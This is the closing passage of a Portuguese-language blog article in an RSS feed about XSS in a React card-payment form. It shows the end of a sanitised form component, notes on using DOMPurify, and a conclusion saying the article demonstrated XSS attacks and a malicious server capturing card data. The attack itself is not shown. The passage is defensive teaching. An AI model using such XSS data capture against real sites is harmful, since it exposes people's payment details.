      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;onChange&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;handleChange&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;placeholder&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Email"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"cardNumber"&lt;/span&gt; &lt;span class="na"&gt;onChange&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;handleChange&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;placeholder&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Card Number"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"address"&lt;/span&gt; &lt;span class="na"&gt;onChange&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;handleChange&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;placeholder&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Endereço"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;handleSubmit&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Submit&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;SecureCardFormComponent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🚀 O que mudamos?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Sanitização&lt;/strong&gt;: Usamos &lt;code&gt;DOMPurify.sanitize(value)&lt;/code&gt; para evitar a execução de código malicioso.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prevenção de XSS&lt;/strong&gt;: Qualquer tentativa de injeção de &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; será removida antes de processar os dados.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  📌 Conclusão
&lt;/h2&gt;

&lt;p&gt;Explorar vulnerabilidades como XSS é fundamental para entendermos como proteger melhor nossas aplicações. Neste artigo, demonstramos:&lt;/p&gt;

&lt;p&gt;✅ Como ataques XSS funcionam na prática.&lt;br&gt;
✅ Como um servidor malicioso pode capturar dados sensíveis.&lt;br&gt;
✅ Como prevenir ataques usando sanitização.&lt;/p&gt;

&lt;p&gt;Se você curtiu esse artigo, deixe seu comentário e compartilhe! 🚀&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>react</category>
      <category>node</category>
    </item>
  </channel>
</rss>
